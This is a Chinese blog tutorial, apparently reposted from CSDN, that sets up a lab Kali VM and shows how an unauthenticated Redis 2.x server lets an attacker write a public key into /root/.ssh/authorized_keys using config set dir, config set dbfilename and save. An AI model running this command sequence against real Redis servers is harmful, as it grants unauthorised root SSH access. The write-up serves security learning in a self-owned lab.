【网络安全】通过Redis2.x实现ssh未授权访问

导读

开发环境

版本号 描述
操作系统 Win11-21H2 内部版本号22000.588
kali kali-linux-2022.3-live-amd64.iso
redis-server(目标机器) redis-2.8.17.tar.gz https://pan.baidu.com/s/1I9mByRQjFaNvt040xOm8_w?pwd=27qf
redis-cli(攻击机器) Redis-x64-5.0.14.zip https://pan.baidu.com/s/1qAkZMBUWVWJvU2bpBq_LNQ?pwd=nhx8

准备工作

虚拟机搭建(目标机kali)

下载iso文件:
|
在这里插入图片描述
|
这里选择Live Boot模式的iso,不用安装就可以直接体验kali。
|在这里插入图片描述

虚拟机安装
|
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
修改虚拟机配置
|
在这里插入图片描述

启动虚拟机
在这里插入图片描述

查看并启动ssh服务
systemctl status ssh
systemctl start ssh
在这里插入图片描述

开启root账号

kali默认用户为kali,我们使用root账号进行实验,所以需要设置root账号的密码(这里随便设置个密码就行)。

执行命令sudo passwd root

在这里插入图片描述

生成公钥和私钥(攻击机win11)

windows自带了ssh应用,如下图:
在这里插入图片描述

通过ssh-keygen命令生成公钥私钥
在这里插入图片描述

手动实现ssh免密登录

将公钥拷贝到目标机器(kali)

  • 在win11上拷贝一份公钥,名称命名为authorized_keys
    在这里插入图片描述

  • 管理员权限创建目录/root/.ssh
    在这里插入图片描述

  • 以root权限打开资源管理器
    在这里插入图片描述

  • 通过右键菜单拷贝文件到目录/root/.ssh在这里插入图片描述

攻击机(win11)上连接目标机(kali)

  • 查看目标机器ip
    在这里插入图片描述

  • 连接目标机:ssh -i C:/Users/Administrator/.ssh/id_rsa [email protected]
    在这里插入图片描述

攻击原理分析

从上一步中(手动实现ssh免密登录),我们可以看出来,我们只需要将公钥id_rsa.pub重命名为authorized_keys,然后拷贝到目标机器/root/.ssh目录下就可以实现未授权访问Redis了。
redis刚好能满足我们的需求,2.x版本的redis,默认配置,能被外网访问,并完成上面的操作,我们正是利用这个特性,完成ssh未授权访问

攻击机(win11)上连接目标机(kali)

攻击实战

删除文件authorized_keys,准备模拟攻击

  • 删除文件authorized_keys,再次连接目标机,如下所示(要求输入密码才能登录):

在这里插入图片描述

目标机器的redis-server安装和配置

下载redis-server(目标机器,kali):https://pan.baidu.com/s/1I9mByRQjFaNvt040xOm8_w?pwd=27qf

redis-2.8.17.tar.gz拷贝到/root目录下。

解压并安装redis-server在这里插入图片描述

mkdir /usr/local/redis
tar -zxvf redis-2.8.17.tar.gz
cd redis-2.8.17
make PREFIX=/usr/local/redis install

运行redis-server
在这里插入图片描述

/usr/local/redis/bin/redis-server  redis.conf

攻击机器redis-cli安装和配置

下载redis-cli(攻击机器,win11):https://pan.baidu.com/s/1qAkZMBUWVWJvU2bpBq_LNQ?pwd=nhx8

解压Redis-x64-5.0.14.zip,redis-cli连接目标机器:
在这里插入图片描述

通过redis-cli,在目标机器中写入配置文件:

# 将公钥保存到内存中,添加回车换行符`\n`到公钥的前后。
set key "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/SQUPXaHJ7m2PANHUGcvIZ5wdEjy6wuEeQI2etYIeod3iE6udtxQtbOR1H3BsS9pozAX974w2+QLT1DrjF7V6zX8YEFHHG1JDhIyyNwf7OSstkcjSnlf8kmpQrGOwKkW78/yFRgoPOSfH2sONc0Ac2VzGEJFdU4tAYQMNUbpt+GhKezJjo+VG3wkhXlOXvgjqcyKN2Y9WuQ16bvrMrddQMzWoTzksxKBtoC/2ccLw6S9drnr/3xkKYUh8gzvcn2H/HR3hkA5rVZsfP/DrxuCN9jTVbjLmkTkXkrZN1qgQJX4rlQUjZM+/vu/c9dhNQ8iQAk69BjwqYDo2sO/UG7HYW/ao+l7FrvqbA0vNd56G6PJ6HH5rlIYV3awWGg8JtSMTbGmP91QfaN9pZ7AYyd+GSSnspbAjI2xRBnjxANJkEKBkLlvzieOzXwHhn76zJYpJFEvJcRYLJiv2a8SBBapO1tOfAIozGjQhV7ywREvssAkb8ggWWtloUutYjV61uzU= administrator@PC-202204131244\n\n"
# 设置备份目录
config set dir /root/.ssh/
# 设置备份文件名
config set dbfilename "authorized_keys"
# 备份文件
save

测试:ssh免密登录到靶机

参考资料

猜你喜欢

转载自blog.csdn.net/kinghzking/article/details/126472739